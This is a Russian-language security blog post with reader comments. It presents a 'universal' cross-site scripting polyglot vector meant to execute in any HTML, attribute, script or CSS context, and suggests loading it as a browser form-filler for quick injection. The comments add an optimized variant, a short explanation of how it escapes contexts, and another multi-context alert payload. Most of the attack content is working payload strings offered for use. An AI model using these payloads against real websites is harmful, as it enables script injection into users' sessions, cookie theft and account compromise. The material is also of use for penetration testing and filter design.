Универсальный XSS-вектор

Поиск XSS довольно трудоемкое занятие, так как необходимо учитывать множество контекстов, в которых может выполниться js-код, например внутри одинарных или двойных кавычек, внутри различных атрибутов и т.д. Для тех, кому надоело перебирать возможные варианты, пригодится следующий универсальный xss-вектор, который выполнится в любом контексте, т.е. его можно поместить в любой параметр и не беспокоится о том, в какой участок кода он в конечном счете попадет:

javascript:/*--></marquee></script></title></textarea></noscript></style></xmp>">[img=1]<img -/style=-=expression&#40&#47;&#42;’/-/*&#39;,/**/eval(name)//&#41;;width:100%;height:100%;position:absolute;behavior:url(#default#VML);-o-link:javascript:eval(title);-o-link-source:current name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>"

Размер немного великоват (428 байт), но это в любом случае более продуктивный вариант, чем "><script>alert()</script>.
Для удобного использования в Opera можно добавить данный вектор как заполнитель формы (Меню – Настройки – Общие настройки – Формы), для Firefox с плагином TamperData можно создать новый элемент контекстного меню для перехватываемых пакетов.

Credits: Gareth Heyes @ thespanner.co.uk

Join the Conversation

16 Comments

  1. >> Размер немного великоват (428 байт)
    и дело не только в размере… способ довольно палевный в контексте автомитизированного тестирования

  2. Круто было бы если бы Вы его еще разобрали подробненько а не просто пыплескнули сюда 🙂 А вообще спасибо!

  3. Если разбирать вектор, то видно, что закрываются все комментарии, кавычки, такие тэги как title, script, style и др. Сам payload исполняется внутри атрибутов для тега img и в значении свойства expression в CSS (исключительно для IE). Кстати в посте вектор был обновлен, оптимизированную версию предложил LeverOne (теперь 373 байта):

    javascript:/*--></script></title></textarea></noscript></style></xmp></noembed></comment></xml></iframe>">[img=1]<img -/style=-=expression&#40&#47;&#42;’/-/*&#39;,/**/eval(name)//&#41;;width:100%;height:100%;position:absolute; name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>"
  4. Я пока ничего не предлагал, только указал на очевидные проблемы кода.
    http://sla.ckers.org/forum/read.php?24,35645
    Судя по всему, он концептуально должен выглядеть по-другому. Ни о какой минимизации, чтобы байты высчитывать, на данный момент речи не идет : там ведь даже в HTML-эквивалентах не убраны разделители.

  5. реальный пример, где можно увидеть, что эта конструкция лучше “>alert().? как-то страшно это выглядит)

  6. ‘;alert(String.fromCharCode(88,83,83))//\’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//\”;alert(String.fromCharCode(88,83,83))//–>”>’>alert(String.fromCharCode(88,83,83))

  7. Сделал сканер поиска sql на сайте.Решил проверить сканером 17 xss нашел и этот вектор тоже работает.Короче как пхп тулзы зашишать.

Leave a comment

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.